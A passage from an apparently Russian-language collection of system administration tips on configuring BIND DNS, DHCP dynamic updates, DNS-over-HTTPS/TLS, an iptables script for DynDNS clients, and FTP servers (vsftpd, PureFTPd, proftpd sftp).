            hardware ethernet 00:0a:39:22:da:39;
            option host-name "happylaptop";
            ddns-hostname "happylaptop";
          }
    
          host dellstation  {
            hardware ethernet 00:b1:48:2a:ad:9c;
            option host-name "dellstation";
            ddns-hostname "dellstation";
          }
        }
    
    Далее идет пример клиента со фиксированным ip адресом
    
        host jukebox {
          hardware ethernet 01:d0:06:b8:68:34;
          fixed-address 192.168.0.5;
          ddns-hostname "jukebox";
          ddns-domain-name "example.com";
          option host-name "jukebox";
          option domain-name "example.com";
        }
    
    После сохранения настроек не забудьте перезапусить DHCP-сервер.
    
    Ссылки по теме:
    * http://www.semicomplete.com/blog/articles/dynamic-dns-with-dhcp
    * http://ubuntuforums.org/showthread.php?t=713469
    
     
    ----* Автоматизация создания массовых записей на DNS-сервере Bind   [комментарии]
     
    Для заведения типовых записей внутри DNS зоны, например, строк вида
    "adsl-1-2-3-4.pool.test.ru удобно использовать директиву "$GENERATE".
    При помощи $GENERATE можно массово создавать элементы для записей A,  CNAME, DNAME, NS и PTR.
    
    Например, создадим в зоне 128 записей подобных:
    
       host-N    IN   A    192.168.1.N
    
    где N от 0 до 127:
    
       $GENERATE 0-127 $ A 192.168.1.$
    
    Или массово пропишем в обратной зоне PTR для всех рабочих адресов:
    
       $GENERATE 0-255 $ PTR host-$.pool.test.ru.
    
    в итоге будут созданы записи:
    
       0   PTR   host-0.pool.test.ru.
       1   PTR   host-1.pool.test.ru.
       ...
       255   PTR   host-255.pool.test.ru.
    
     
    ----* Автоматическое изменение правил IPTABLES для IP адресов из записей DynDNS (доп. ссылка 1)   Автор: zaikini  [комментарии]
     
    Возникла задача предоставить сервис для клиентов, использующих внешние динамические адреса. 
    Доступ к сервису ограничен правилами IPTABLES.
    
    Клиентам, которым необходимо получить услугу предлагается создать учетную
    запись на ресурсе dyndns.org,
    клиент получит доменное имя в виде client.dyndns.org.
    
    При каждом изменении ip адреса клиента мы всегда узнаем его адрес по доменному
    имени. Если мы добавим
    правило в iptables для этого доменного имени, правило будет работать только для
    текущего  ip адреса клиента
    и при последующем изменении ip адреса, доступ к сервису будет ограничен.
    
    Оригинал решения был найден здесь:
    http://dave.thehorners.com/content/view/86/65/ , а мы всего лишь доработаем
    этот скрипт.
    
    Создаем несколько каталогов:
    
       /root/dynhosts/ - общий каталог
       /root/dynhosts/zones/ - здесь будем хранить файлы доменных зон клиентов
       /root/dynhosts/logs/ - лог файлы работы скрипта
       /root/dynhosts/scripts/ - здесь будет находится сам запускаемый скрипт
    
    Создаем лог-файл:
    
       touch /root/dynhosts/logs/dynhosts.log
    
    Создаем файл зоны клиента:
    
       touch /root/dynhosts/zones/client.dyndns.org
    
    Создаем сам скрипт /root/dynhosts/scripts/firewall-dynhosts.sh
    
    
       #!/bin/bash
       #
       # filename: firewall-dynhosts.sh
       #
       NOW=$(date)
       CHAIN="dynamichosts"  # change this to whatever chain you want.
       IPTABLES="/sbin/iptables"
       
       # create the chain in iptables.
       $IPTABLES -N $CHAIN
       # insert the chain into the input chain @ the head of the list.
       $IPTABLES -I INPUT 1 -j $CHAIN
       # flush all the rules in the chain
       $IPTABLES -F $CHAIN
      
       FILES=`ls --format=single-column /root/dynhosts/zones/`
       
       echo $FILES
      
       for file in $FILES
       do
          HOSTFILE="/root/dynhosts/zones/$file"
          echo $HOSTFILE
    
          # lookup host name from dns tables
          IP=`/usr/bin/dig +short $file | /usr/bin/tail -n 1`
          if [ "${#IP}" = "0" ]; then
             echo "$NOW Couldn't lookup hostname for $file, failed." >> /root/dynhosts/logs/dynhosts.log
    
             continue
          fi
     
          OLDIP=""
          if [ -a $HOSTFILE ]; then
             OLDIP=`cat $HOSTFILE`
             echo "CAT returned: $?"
          fi
    
          # save off new ip.
          echo $IP>$HOSTFILE
    
          echo "Updating $file in iptables."
          echo "Inserting new rule ($IP)"
          $IPTABLES -A $CHAIN -s $IP/32 -j ACCEPT
    
       done
       exit0
    
    Запускаем скрипт:
    
       /root/dynhosts/scripts/firewall-dynhosts.sh
    
       iptables: Chain already exists
       client.dyndns.org
       CAT returned: 0
       Updating client.dyndns.org in iptables.
       Inserting new rule (213.64.141.6)
    
    Проверяем,
    
       cat /root/dynhosts/zones/client.dyndns.org
       213.64.141.6
    
       /sbin/iptables -nL dynamichosts
    
       Chain dynamichosts
       target     prot opt source               destination
       ACCEPT     all  -  213.64.141.6         0.0.0.0/0
    
    Если такого доменного имени не существует в /root/dynhosts/logs/dynhosts.log
    была бы запись следующего содержания:
    
       Tue Aug 25 09:47:15 MSD 2009 Couldn't lookup hostname for client.dyndns.org, failed.
    
    После того как контракт с клиентом истек достаточно удалить файл его зоны из /root/dynhosts/zones/.
    
    Осталось добавить выполнение скрипта в крон.
    
     
    ----* Как удалить из кэша DNS сервера Bind конкретную запись, без перезагрузки всего кэша   Автор: Константин Брызгалов  [комментарии]
     
    Для удаления отдельной записи в кэше Bind нужно использовать команду "rndc flushname"
    
    Запрашиваем имя mx.example.ru у сервера 127.0.0.1:
    
       # dig +short @127.0.0.1 mx.example.ru
       192.168.168.168
    
    Сохраняем для изучения дамп с содержимым кэша:
       # rndc dumpdb -all
    
    Находим в нем искомое имя, чтобы убедится, что оно в кэше:
    
       # grep mx.example.ru /var/bind/named_dump.db
       mx.example.ru.             431988  A       192.168.168.168
    
    Выполняем команду для удаления mx.example.ru из кэша:
    
       # rndc flushname mx.example.ru. 
    
    Убедимся, что имя удалилось:   
    
       rm /var/bind/named_dump.db 
       rndc dumpdb -all
       grep mx.example.ru /var/bind/named_dump.db
    
     
    ----* MAC DNS лист   Автор: Vladimir Shingarev  [комментарии]
     
    Иногда нужно узнать какому производителю принадлежит оконечное оборудование, 
    наблюдая только его мак на интерфейсе. А открывать браузер для этого лениво.
    
    В таком случае удобно создать MAC-based dns лист. Пользоваться просто:
    
       ket:/home/sva# host -t txt 001243.macl.nov.ru
       001243.macl.nov.ru descriptive text "Cisco"
       ket:/home/sva# host -t txt 0050ba.macl.nov.ru
       0050ba.macl.nov.ru descriptive text "D-LINK"
    
     
    ----* DNS: Как делегировать неполную (не /24) сеть in-addr.arpa клиенту   Автор: nikl  [комментарии]
     
    Предположим, вы провайдер (provider1) и подключившийся к вам клиент (firma1)
    взял в пользование сеть /28
    Как обеспечить ему самостоятельное управление обратными доменами в его подсети?
    Можно делигировать ему неполную сеть, на примере:
    
    У вас есть большая сеть 200.100.100.100/24, клиент из нее взял себе блок 200.100.100.176/28
    
    В своем файле зоны прописываете:
    
       100.100.200.in-addr.arpa  IN SOA  ns1.provider1.ru. hostmaster.provider1.ru. (
                                    2005102000 ; serial
                                    36000      ; refresh
                                    3600       ; retry
                                    1728000    ; expire
                                    172800     ; minimum
                                    )
                            NS      ns1.provider1.ru.
                            NS      ns2.provider1.ru.
    $ORIGIN 100.100.200.in-addr.arpa.
    
    ...
    
    
    173                     PTR     client173-gw.provider1.ru.
    174                     PTR     client174-gw.provider1.ru.
    175                     PTR     client175-gw.provider1.ru.
    
    176/28                  NS      ns.firma1.ru.
    $GENERATE 176-191       $  CNAME   $.176/28
    
    192                     PTR     client192-gw.provider1.ru.
    193                     PTR     client193-gw.provider1.ru.
    
    Админ клиента на своем NS'е (ns.firma1.ru) создает
    зону "176/28.100.100.200.in-addr.arpa" , в которой спокойно
    администрирует свои IP'ы, не отвлекая провайдера от работы.
    
     
    ----* Решение проблемы резолвинга при включенных forwarders в BIND 9   Автор: Vladimir V. Kamarzin  [комментарии]
     
    Если bind 9 одновременно является переадресующим сервером ( forwarders {
    s.o.m.e; }; ) и авторитативным
    для какой-либо зоны, при делегировании подзоны возникает проблема резолвинга хостов этой подзоны:
    
       subzone IN NS ns.subzone.zone.tld.
       ns.subzone IN A 192.168.0.1
    
       dig @ns.zone.tld. somehost.subzone.zone.tld. a
    
    при этом бинд будет спрашивать запись A для хоста somehost.subzone.zone.tld.
    вовсе не у ns.subzone.zone.tld. ,
    а у тех серверов, которые прописаны форвардерами в options!
    
    Чтобы bind резолвил хосты напрямую, через ns.subzone.zone.tld. , необходимо в
    конфигурации зоны zone.tld. прописать:
    
            zone "zone.tld." {
                    type master;
    --->           forwarders { /* empty! */ };
                    notify no;
                    file "file";
                    allow-query { any; };
                    allow-transfer { s.o.m.e; };
            };
    
     
    ----* Почему на некоторые запросы named слишком долго (1-4 сек.) резолвит имя (доп. ссылка 1)   [комментарии]
     
    Проблемы на IPv4 хостах без IPv6 коннективити, обусловлены появлением IPv6
    адресов у B и A корневых NS.
    
    Решение представлено в BIND 9.2.5 и 9.3.1, которые еще не вышли.
    Другой путь - собрать bind с ./configure --disable-ipv6 или запустить с опцией -4 (для bind 9.3.0).
    
     
    ----* Пример ведения расширенных логов в named   [комментарии]
     
    # named.conf
    # для более делаьной информации о трансферах расскомментируйте "severity info"
    logging {
             channel default_log {
                    file "/var/log/dns.log";
    #               severity info;
                    severity notice;
                    print-time yes;
                    print-category yes;
                    print-severity yes;
    
             };
             channel more_log {
                    file "/var/log/dns_more.log";
            #       severity info;
                    severity notice;
                    print-time yes;
                    print-category yes;
                    print-severity yes;
             };
             category queries { default_log;};
             category xfer-in { default_log; };
             category xfer-out { default_log; };
             category security { more_log; };
             category resolver { more_log; };
             category client { more_log; };
             category unmatched { more_log; };
             category default { more_log; };
             category database { more_log; };
    };
    
     
    ----* Настройка динамического обновления DNS зон. (доп. ссылка 1)   Автор: Jeff Garzik  [комментарии]
     
    Генерируем ключи:
        dnssec-keygen -a HMAC-MD5 -b 512 -n USER foo22.bar44.com.
    
    Настройки сервера:
    
    /etc/named.conf:
        include "keys.conf";
        ......
        zone  "bar44.com" {
            type master;
            file  "bar44.com.zone";
            update-policy {
    	   grant laptop.bar44.com. name laptop.bar44.com. A TXT;
                   grant foo22.bar44.com. subdomain bar44.com. ANY;
            };
            # или   
            #allow-update {
            #     key foo22.bar44.com.
            #};
        };
    
    /etc/namedb/keys.conf:
        key foo22.bar44.com. {
    	algorithm HMAC-MD5;
    	secret "секретный ключ";
    
        };
    
    Для обновления зоны:
        nsupdate -k Kfoo22.bar44.com.+157+12505.private -v cmd_file.txt
    
    Пример cmd_file.txt:
        server ns.bar44.com
        zone bar44.com
        update delete somehost.bar44.com. A
        update add somehost.bar44.com. 86400 A 10.10.10.1
        show
        send
    
     
    ----* Оптимизация работы DNS резолвера, случайный выбор NS (доп. ссылка 1)   [обсудить]
     
    В /etc/resolv.conf:
       options attempts=2, timeout=2, rotate
       ,где attempts - число попыток посылки запроса к серверу.
            timeout - таймаут запроса (по умолчанию 5 сек.)
            rotate   случайный выбор nameserver из списка, а не опрос по порядку.
            timeout - таймаут за который сервер должен успеть ответить.
        Для отладки удобно использовать "options debug"
    
     
    ----* Как организовать рекурсивные запросы только через жестко определенные сервера.   [обсудить]
     
    options {
       # Если "first" - то если forwarders не ответил - запрашиваем сами.
       # Если "only" - сами никогда не запрашиваем, только через forwarders.
       forward only; 
       forwarders {192.168.1.1; 192.168.2.1;};
    };
    
     
    ----* Как запретить рекурсивные запросы через DNS сервер для чужих клиентов   [комментарии]
     
    acl localnet { 192.168.1.0/24; 10.0.1.0/24; };
    options {
       allow-recursion {localnet; 192.168.2.0/24};
       # Полностью запросы можно ограничить через "allow-query" или "blackhole"
    };
    
     
    ----* Как запретить Bind показывать свою версию для внешнего мира. (доп. ссылка 1)   [комментарии]
     
    Узнать версию можно через:
      dig @ns.test.ru version.bind chaos txt
    Чтобы запретить, нужно в options блоке named.conf прописать:
      options {
        ...
        version "0.1";
      };
    
     
    ----* Как разрешить полный трансфер DNS зоны только для избранных серверов.   [обсудить]
     
    zone "host.ru" {
            type master;
            allow-transfer { 1.2.3.4; 1.2.3.5; 1.2.3.6;};
            file "host.ru";
    }
    
     
    ----* Как избавиться от ограничения числа одновременных коннектов к named   [обсудить]
     
    options {
            directory "/etc/namedb";
            recursive-clients 5000;
            tcp-clients 500;
    };
    
     
    ----* Включение DNS-over-HTTPS на системном уровне в KDE neon и Ubuntu   Автор: popov895  [комментарии]
     
    В этой заметке я не буду объяснять, почему предпочтительно использовать
    DNS-over-HTTPS (DoH), а просто опишу, как его можно включить на системном
    уровне в KDE neon / Ubuntu. Внимание: не забывайте делать резервные копии
    системных файлов, которые планируете редактировать!
    
    Для начала необходимо установить пакет dnscrypt-proxy:
    
       sudo apt install dnscrypt-proxy
    
    Далее в файле /etc/dnscrypt-proxy/dnscrypt-proxy.toml в поле
    server_names нужно указать список серверов, к которым будет
    обращаться dnscrypt-proxy для разрешения DNS
    (список доступных DoH-серверов здесь). После редактирования файла
    dnscrypt-proxy.toml нужно перезапустить dnscrypt-proxy:
    
       sudo systemctl restart dnscrypt-proxy.service
    
    Далее нужно запретить NetworkManager изменять файл /etc/resolv.conf.
    Для этого нужно в файле /etc/NetworkManager/NetworkManager.conf в
    секции main добавить запись rc-manager=unmanaged. Должно
    выглядеть так:
    
       [main]
       ...
       rc-manager=unmanaged
       ...
    
    Далее нужно отредактировать файл /etc/resolv.conf. Для начала удалим текущий файл:
    
       sudo rm /etc/resolv.conf
    
    И создадим новый:
    
       sudo touch /etc/resolv.conf
    
    С таким содержимым:
    
       nameserver 127.0.2.1
       options edns0 single-request-reopen
    
    И последнее, что нам нужно сделать - отключить systemd-resolved
    и перезапусить NetworkManager:
    
       sudo systemctl disable --now systemd-resolved.service
       sudo systemctl restart NetworkManager.service
    
     
    ----* Настройка DNSSEC в BIND 9.9 (доп. ссылка 1) (доп. ссылка 2)   [комментарии]
     
    В BIND 9.9 появились новые средства для автоматизации формирования цифровых
    подписей и управления ключами, позволяющие добавить поддержку DNSSEC без правки DNS-зон.
    
    Настройка DNSSEC для домена.
    
    Создаём отдельную директорию для файлов с ключами, так как файлов генерируется
    достаточно много, для каждой зоны имеет смысл создать отдельную директорию с ключами.
    
       mkdir /etc/namedb/keys
    
    Для работы DNSSEC требуется создать master-ключ (KSK, Key Signing Key), который
    будет использован для создания цифровых подписей для других ключей, и ключи для
    каждой из локальных зон (ZSK, Zone Signing Key).
    
    Создаём KSK-ключ:
    
       dnssec-keygen -f KSK -a RSASHA1 -b 2048 -n ZONE example.net
    
       Generating key pair......+++.....+++
       Kexample.net.+005+38287
    
    Создаём ZSK-ключ:
    
       dnssec-keygen -a RSASHA1 -b 2048 -n ZONE example.net
       Generating key pair.....+++ ..+++
       Kexample.net.+005+55896
    
    Делаем ключи доступными для чтения процессу named:
    
       chown bind:bind *
    
    Включим в настройках named.conf ведение лога DNSSEC для упрощения анализа возможных проблем. 
    
    Подготовим директорию для хранения лога:
    
       mkdir /etc/namedb/log
       chown bind:bind /etc/namedb/log
    
    В  named.conf пропишем путь к логу, который ограничим максимальным размером в 20 Мб:
    
       logging {
          channel dnssec_log {
             file "log/dnssec" size 20m;
             print-time yes;
             print-category yes;
             print-severity yes;
             severity debug 3;
          };
          category dnssec {
              dnssec_log;
          };
       };
    
    Настроим DNSSEC для зоны example.net:
    
       zone example.net {
          type master;
          file "master/example.net";
          key-directory "keys/";
          inline-signing yes;
          auto-dnssec maintain;
       };
    
    
    После перезапуска named в директории /etc/namedb/keys появятся следующие файлы:
    
       example.net
       example.net.jbk
       example.net.signed
       example.net.jnl
    
    Опция 'inline-signing yes' включает режим прозрачного формирования подписей, не
    требуя внесения изменений непосредственно в файл зоны. При работе
    inline-signing вручную поддерживаемый файл с зоной преобразуется в динамическую
    зону, для которой создаётся цифровая подпись. Из-за этого выдаваемый сервером
    серийный номер, отличается от серийного номера прописанного в файле с зоной.
    Изменения DNSSEC производятся в jnl-файле с журналом изменений.
    
    При запросе параметров зоны можно заметить появление нового поля RRSIG
    
       dig example.net +dnssec
       ...
       example.net. 600 IN A 1.2.3.4
       example.net. 600 IN RRSIG A 5 3 600 2012021356423 20120415331566    21695 net. IKekIJa314313G/xZpQ+B2313eqaDceR/VNcdsdasxV2 ...
    
    Так как DNSSEC основан на обеспечении цепочки доверия, чтобы процесс
    верификации заработал, требуется чтобы регистратор заверил созданный KSK-ключ,
    подтвердив своё доверие. Для этого создадим на основе KSK-ключа DSKEY-ключ
    (Delegation Signature Key)
    
       dnssec-dsfromkey Kexample.net.+005+38287
       example.net. IN DS 38287 5 1 E8C01C9CA1252389A9CB4E
       example.net. IN DS 38287 5 2 57EC936A479A94C32324123134234523492359A623 39712D53
    
    Копируем две сгенерированные строки в интерфейсе ввода  DSKEY на сайте
    регистратора домена. Верификация заработает после того как регистратор обновит
    параметры первичной зоны.
    
    Для поддержки DNSSEC-проверки на стороне резолвера следует добавить в настройки named.conf:
    
       options {
          ...
          dnssec-enable yes;
          dnssec-validation auto;
          ...
       };
    
     
    ----* Как в DNS прописать два образа одной и той же зоны для внутренней и внешней сети.   Автор: uldus  [комментарии]
     
     view "internal" {
        match-clients { 192.168.0.0/16; };
        zone "test.ru" {
             type master;
             file "test.ru.int";
        };
     };
     view "external" {
        match-clients { any; };
        zone "test.ru" {
             type master;
             file "test.ru.ext";
        };
     };
    
     

       FTP, Bittorrent

    ----* Включение DNS-Over-TLS в LEDE/OpenWrt через замену резолвера на Unbound (доп. ссылка 1)   [комментарии]
     
    По умолчанию в LEDE/OpenWrt в качестве резолвера применяется Dnsmasq, который
    не поддерживает  DNS-over-TLS. Для включения шифрования DNS-трафика заменим
    Dnsmasq на Unbound и odhcpd:
    
       opkg update
       opkg install unbound odhcpd unbound-control
       opkg remove dnsmasq
    
    Для настройки через GUI опционально можно установить модуль:
    
       opkg install luci-app-unbound
    
    Указываем в /etc/unbound/unbound_ext.conf DNS-серверы с поддержкой TLS
    (например, 1.1.1.1 и 1.0.0.1):
    
       forward-zone:
         name: "."
         forward-addr: 1.1.1.1@853                   
         forward-addr: 1.0.0.1@853                             
         forward-addr: 2606:4700:4700::1111@853
         forward-addr: 2606:4700:4700::1001@853
         forward-ssl-upstream: yes   
    
    
    
    Корректируем настройки /etc/config/unbound в соответствии с 
    официальными рекомендациями по настройке связки unbound+odhcpd.
    
    Проверяем /etc/config/unbound:
    
       config unbound
         option add_local_fqdn '1'
         option add_wan_fqdn '1'
         option dhcp_link 'odhcpd'
         option dhcp4_slaac6 '1'
         option domain 'lan'
         option domain_type 'static'
         option listen_port '53'
         option rebind_protection '1'
         option unbound_control '1'
    
    Аналогично проверяем настройки /etc/config/dhcp:
    
       config dhcp 'lan'
            option dhcpv4 'server'
            option dhcpv6 'server'
            option interface 'lan'
            option leasetime '12h'
            option ra 'server'
            option ra_management '1'
    
       config odhcpd 'odhcpd'
            option maindhcp '1'
            option leasefile '/var/lib/odhcpd/dhcp.leases'
            option leasetrigger '/usr/lib/unbound/odhcpd.sh'
      
    Перезапускаем unbound:
    
       service unbound enable
       service unbound start
    
     
    ----* Настройка виртуальных пользователей и SSL в vsftpd (доп. ссылка 1)   Автор: Бочка селёдки  [комментарии]
     
    Иногда возникает необходимость настроить виртуальных пользователей и
    SSL-шифрование в FTP-сервере vsftpd. Рассмотрим как это сделать в Debian Squeeze.
    
    Все действия выполняются от пользователя root. Сперва установим необходимые утилиты:
    
       aptitude install vsftpd openssl db4.8-util ftp-ssl  
    
    где
    vsftpd - непосредственно FTP сервер;
    openssl - утилита создания SSL сертификатов, которые требуются в SSL режиме FTP сервера;
    db4.8-util - утилиты работы с базой данных BerkeleyDB, в которой будут хранится
    виртуальные пользователи;
    ftp-ssl - SSL версия FTP клиента, эта утилита нужна только на клиентской стороне.
    
    Добавим пользователя в систему, через которого будут работать виртуальные FTP-пользователи:
    
       useradd -d /home/ftp virtual  
    
    Теперь изменим конфигурацию FTP сервера. Данных директив в файле конфигурации
    по-умолчанию нет, поэтому их можно просто добавить в конец файла /etc/vsftpd.conf:
    
       # включаем гостевой доступ через нашего виртуального пользователя  
       guest_enable=YES  
       guest_username=virtual  
    
       # включаем SSL  
       ssl_enable=YES  
    
       # шифрование процедуры логина и всех передаваемых данных внутри сессии  
       force_local_logins_ssl=YES  
       force_local_data_ssl=YES  
    
       # ущемляем права анонимных пользователей - их трафик шифроваться не будет  
       # (только если анонимные пользователи разрешены)  
       allow_anon_ssl=NO  
    
       # используем только протокол TLS  
       ssl_tlsv1=YES  
       ssl_sslv2=NO  
       ssl_sslv3=NO  
    
       # многократное использование одной сессии  
       require_ssl_reuse=NO  
    
    Дополнительно для проверки соединения вы можете установить директиву
    local_enable=YES, которая разрешает локальным пользователям получить доступ по
    FTP к своим домашним директориям.
    
    Создаём базу данных виртуальных пользователей:
    
      db4.8_load -T -t hash /etc/vsftpd_login.db  
    
    Эта утилита будет читать логины и пароли со стандартного ввода, один логин и
    один пароль на каждую отдельную строку. Вводим "user", нажимаем ввод, вводим
    "pass", нажимаем ввод.
    
    Изменяем процедуру аутентификации ftp пользователей через PAM в
    конфигурационном файле /etc/pam.d/vsftpd:
    
       # путь к базе данных виртуальных пользователей (без суффикса "db")  
       account required    pam_userdb.so     db=/etc/vsftpd_login  
       auth    required    pam_userdb.so     db=/etc/vsftpd_login  
    
    Создадим SSL-сертификат для FTP-сервера, время действия которого истечёт через
    год. Путь к этому сертификату уже прописан в конфигурационном файле vsftpd:
    
       cd /etc/ssl/private/  
       openssl req -x509 -nodes -days 365 -newkey rsa:1024 -keyout vsftpd.pem -out vsftpd.pem  
    
    Всё, осталось перезапустить сервис FTP:
    
       invoke-rc.d vsftpd restart  
    
    Проверяем логин:
    
       ftp localhost  
       
       Connected to localhost.  
       220 (vsFTPd 2.3.2)  
       Name (localhost:root): user  
       
       234 Proceed with negotiation.  
       [SSL Cipher DES-CBC3-SHA]  
       
       331 Please specify the password.  
       Password:  
       
       230 Login successful.  
       Remote system type is UNIX.  
       Using binary mode to transfer files.  
       ftp: pwd  
       257 "/"  
       ftp:
    
    Как видим, вход был в SSL-режиме с использованием шифрования DES-CBC3-SHA.
    Теперь можно настроить пользовательские права на чтение и запись в файле
    /etc/vsftpd.conf. Следует отметить, что в статье описан способ настройки FTPS
    (FTP+SSL), который не стоит путать с SFTP - это два разных протокола.
    
     
    ----* Организация проверки загружаемых файлов на вирусы в PureFTPd (доп. ссылка 1)   [комментарии]
     
    Ниже представлена инструкция по интеграции в PureFTPd, работающем в Debian или
    Ubuntu, функции проверки новых файлов на предмет наличия вирусов. При
    обнаружении вируса загруженный файл удаляется.
    
    
    
    Устанавливаем антивирусный пакет ClamAV:
    
       sudo aptitude install clamav clamav-daemon
     
    Настраиваем PureFTPd. 
    Создаем файл /etc/pure-ftpd/conf/CallUploadScript в который добавляем одну строку со словом "yes":
    
       echo "yes" > /etc/pure-ftpd/conf/CallUploadScript
    
    Создаем скрипт /etc/pure-ftpd/clamav_check.sh, который будет вызывать из
    PureFTPd для проверки новых файлов в clamav:
    
       #!/bin/sh
       /usr/bin/clamdscan --remove --quiet --no-summary "$1"
    
    
    Делаем скрипт исполняемым:
    
       chmod 755 /etc/pure-ftpd/clamav_check.sh
    
    Изменяем основой файл конфигурации PureFTPd /etc/default/pure-ftpd-common,
    находим по ключевому слову строку UPLOADSCRIPT и указываем путь к скрипту
    проверки, примерно так:
    
       UPLOADSCRIPT=/etc/pure-ftpd/clamav_check.sh
    
    Перезапускаем PureFTPd:
    
      /etc/init.d/pure-ftpd-mysql restart
    
     
    ----* Создание sftp сервера силами proftpd   Автор: Alex Samorukov  [комментарии]
     
    Зачем нужен sftp
    
    В протоколе FTP есть 2 ключевые проблемы - во первых, пароли и данные
    передаются в открытом виде, во вторых - для каждой передачи устанавливается
    дополнительное соединение. Для шифрования данных и контрольного соединения был
    написан FTPS, но с ним проблем еще больше - все также требуется дополнительное
    соединение при передаче, а главное - контрольный канал теперь зашифрован и
    firewall никак не может помочь в прохождении FTP трафика через NAT. Кроме того
    - существуют различия в реализации, что добавляет еще больше проблем при
    использовании FTPS. SFTP - полностью новый протокол разработанный IETF SECSH,
    предлагающий аналогичные FTP возможности для удаленных операций и использующий
    SSH (обычно SSH2) для обеспечения шифрования и аутентификации. Известность
    получил в основном из-за того, что был встроен в SSH сервера, в частности - в
    OpenSSH 2.3.0 и выше.
    
    Недостатки sftp в OpenSSH
    
    До OpenSSH 4.9 sftp сервер требовал запуска внешнего исполняемого файла и
    построение chroot окружения было связанно с дополнительными действиями.
    Невозможно ограничить скорость передачи для конкретного пользователя. Сложно
    сделать отличную от SSH базу с пользователями. В целом - sftp сервер в OpenSSH
    всегда был лишь приятным дополнением к OpenSSH предоставляя на порядок меньшие
    возможности чем, например, proftpd. Впрочем, недавно необходимость выбора между
    удобством и безопасностью отпала так как был написан и реализован модуль
    mod_sftp для proftpd, о нем и пойдет речь.
    
    Использование модуля
    
    Впервые модуль появился в версии 1.3.2rc2, но на мой взгляд - уже вполне
    пригоден к использованию. Он не компилируется по умолчанию, так что для его
    использования надо указать его на этапе configure. Вы можете собрать proftpd из
    исходников, или если у вас redhat based OS - воспользоваться моим src.rpm.
    Модуль имеет множество возможностей полный список которых можно [[http://www.castaglia.org/proftpd/modules/mod_sftp.html посмотреть на
    сайте]]. Для минимальной настройки достаточно внести такие дополнения в файл
    конфигурации по умолчанию:
    
       Port                            8022
       SFTPEngine on
       SFTPHostKey /etc/ssh/ssh_host_dsa_key
       SFTPHostKey /etc/ssh/ssh_host_rsa_key
    
    
    и запустить proftpd. Теперь можно подключаться к порту 8022 любым sftp
    клиентом, например - мультиплатформенной FileZilla или command line sftp из
    комплекта OpenSSH. Используя виртуальные сервера можно сделать одновременную
    работу SFTP и FTP(S), ограничить доступ, сделать chroot для всех или некоторых
    сайтов и так далее. За примерно месяц использования я не обнаружил каких либо
    минусов данного решения по сравнению с OpenSSH sftp.
    
     
    ----* Настройка Pure-FTPd c авторизацией по скрипту (доп. ссылка 1)   Автор: ExpE  [комментарии]
     
    Для Unix систем есть большое количество серверов ftp обладающих богатым функционалом, 
    каждый из которых обладает своими особенностями. Но в один прекрасный день мне
    потребовалось организовать
    авторизацию с помощью скрипта, который в зависимости от IP адреса должен был
    пускать в разные домашние
    директории. После недолгих поисков в интернете я обнаружил, что у Pure-FTPd
    авторизация по скрипту -
    штатная возможность. Итак, приступим.
    
    Скачиваем архив с актуальной на текущий момент версии (в момент написания этой
    статьи текущая версия 1.0.22)
    
       wget http://download.pureftpd.org/pub/pure-ftpd/releases/pure-ftpd-1.0.22.tar.bz2
    
    Распаковываем и простыми сочетаниями команд устанавливаем
       ./configure --with-rfc2640 --with-everything --prefix=/usr/local/pure-ftpd
       make
       sudo make install
    
    --with-rfc2640 - необходима для перекодировки названий файлов на лету в разные кодировки 
    (в моем случае клиенты подсоединяются к серверу с кодировкой cp1251 а на
    сервере же кодировка UTF-8)
    
    --with-everything - создание демона с поддержкой всех функций Pure-FTPd
    
    --prefix=/usr/local/pure-ftpd - каталог, куда собственно демон устанавливать
    
    Теперь когда сервер установлен переходим к базовой конфигурации. Копируем
    конфигурационный файл в /etc из каталога с исходниками
    
       cp configuration-file/pure-ftpd.conf /etc/pure-ftpd.conf
    
    Добавляем следующие строки в конфигурационный файл:
    
       ExtAuth /var/run/ftpd.sock # Включаем авторизацию по скрипту
       UserBandwidth 100 # Ограничиваем полосу в  100 Kb/c для каждого пользователя,
                         # чтобы они не забивали весь канал
       MaxDiskUsage 90   # Установив это значение, мы запрещаем загрузку файлов на сервер, 
                         # в случае если осталось всего 10% свободного места
       FileSystemCharset UTF-8 # Говорим что на сервере кодировка UTF-8
       ClientCharset CP1251    # А у пользователей CP1251
    
    Создаем авторизующий скрипт /usr/local/pure-ftpd/sbin/ftp-auth-handler
    Со следующим содержанием:
    
       if test "$AUTHD_REMOTE_IP" = "192.168.0.102"; then
          echo 'auth_ok:1'
          echo 'uid:69'
          echo 'gid:42'
          echo 'dir:/tmp'
       else
          echo 'auth_ok:0'
       fi
          echo 'end'
    
    Этот скрипт успешно авторизует любого пользователя с IP 192.168.0.201
    
    Кроме $AUTHD_REMOTE_IP в скрипте можно использовать следующие переменные:
    
       AUTHD_ACCOUNT
       AUTHD_PASSWORD
       AUTHD_LOCAL_IP
       AUTHD_LOCAL_PORT
       AUTHD_REMOTE_IP
       AUTHD_ENCRYPTED
    
    В ответе скрипта можно передавать следующие параметры
    
       uid:xxx -  UID пользователя в системе
       gid:xxx - GID пользователя в системе
       dir:xxx -  Абсолютный путь  до домашней директории
       throttling_bandwidth_ul:xxx  -  Ширина канала  закачки на сервер
       throttling_bandwidth_dl:xxx - Ширина канала скачки с сервера
       user_quota_size:xxx  -  Дисковая квота пользователя в байтах
       user_quota_files:xxx  -  Максимальное количество файлов для пользователя
       per_user_max:xxx  - Максимальное количество одновременных сессий
    
    После этого осталось запустить сам сервер.
    
    Скопируем запускающий скрипт pure-config.pl из каталога с исходниками
    
       cp configuration-file/pure-config.pl /usr/local/pure-ftpd/sbin/
    
    Для запуска сервера выполняем следующую команду:
    
       /usr/local/pure-ftpd/sbin/pure-config.pl /etc/pure-ftpd.conf
    
    Для запуска демона авторизации выполняем это:
       /usr/local/pure-ftpd/sbin/pure-authd -s /var/run/ftpd.sock -r /usr/local/pure-ftpd/sbin/ftp-auth-handler &
    
    Осталось внести последние две строчки в автозагрузку, и на этом базовая
    настройка сервера закончена.
    
     
    ----* Установка torrent-демона transmission на маршрутизаторе Linksys WRT54GL (доп. ссылка 1)   Автор: Roman Sozinov  [комментарии]
     
    Железо - Linksys WRT54GL (v1.1) + NAS (HDD, доступный через CIFS/SMB), OS - dd-wrt v.24. 
    
    Потребность - закрутить на всём этом хозяйстве torrent-демон transmission 
    с возможностью управления закачками через web.
    
    Сперва стоит позаботиться о том, чтобы файловая система jffs работала без
    проблем и была примонтирована
    (/jffs, NAS как раз для этого и нужен). На её основе будет построена новая ветка /jffs/opt, 
    в которую будет установлены все необходимые для работы transmission пакеты Optware.
    
       # mkdir /jffs/opt
       # mount -o bind /jffs/opt /opt
    
    Далее необходимо пройти минимальную установку Optware:
    
